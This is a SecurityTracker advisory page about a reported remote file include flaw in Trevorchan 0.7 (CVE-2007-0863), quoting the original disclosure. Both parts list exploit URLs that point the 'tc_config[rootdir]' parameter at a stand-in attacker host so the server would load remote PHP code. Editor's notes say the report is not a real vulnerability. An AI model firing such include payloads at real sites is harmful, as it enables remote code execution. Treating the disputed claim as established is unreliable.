SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Forum/Board/Portal)  >   Trevorchan Vendors:   trevorchan.org
[Not a Vulnerability] Trevorchan Include File Bug in tc_config[rootdir] Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1017512
SecurityTracker URL:  http://securitytracker.com/id/1017512
CVE Reference:   CVE-2007-0863   (Links to External Site)
Updated:  May 19 2008
Original Entry Date:  Jan 15 2007
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.7
Description:   A vulnerability was reported in Trevorchan. A remote user can include and execute arbitrary code on the target system.

Several scripts do not properly validate user-supplied input in the 'tc_config[rootdir]' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

upgrade.php?tc_config[rootdir]=http://attacker.txt?
paint_save.php?tc_config[rootdir]=http://attacker.txt?
menu.php?tc_config[rootdir]=http://attacker.txt?
manage.php?tc_config[rootdir]=http://attacker.txt?
banned.php?tc_config[rootdir]=http://attacker.txt?

ilker Kandemir reported this vulnerability.

[Editor's note: The tc_config[rootdir] parameter is defined and cannot be specified by a remote user. This Alert will be deleted shortly.]

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

[Editor's note: The tc_config[rootdir] parameter is defined and cannot be specified by a remote user. This Alert will be deleted shortly.]

Solution:   No solution was available at the time of this entry.

[Editor's note: The tc_config[rootdir] parameter is defined and cannot be specified by a remote user. This Alert will be deleted shortly.]

Vendor URL:  www.trevorchan.org/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Sat, 13 Jan 2007 11:33:28 +0000
Subject:  Trevorchan <= v0.7 Remote File Include Vulnerability

-------------------------------------------------------------------------------------------------------------------

AYYILDIZ.ORG PreSents...



Script:Trevorchan v0.7
Download: http://rel.trevorchan.org/Releasev07.zip

Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>



Code:
require_once($tc_config['rootdir']."/inc/functions.php");
require_once($tc_config['rootdir']."/inc/encryption.php");

-------------------------------------------------------------------------------------------------------------------

Exploit: 
upgrade.php?tc_config[rootdir]=http://attacker.txt?
paint_save.php?tc_config[rootdir]=http://attacker.txt?     
menu.php?tc_config[rootdir]=http://attacker.txt?
manage.php?tc_config[rootdir]=http://attacker.txt?
banned.php?tc_config[rootdir]=http://attacker.txt?
   
-------------------------------------------------------------------------------------------------------------------

Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR
Special Tnx: AYYILDIZ.ORG

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC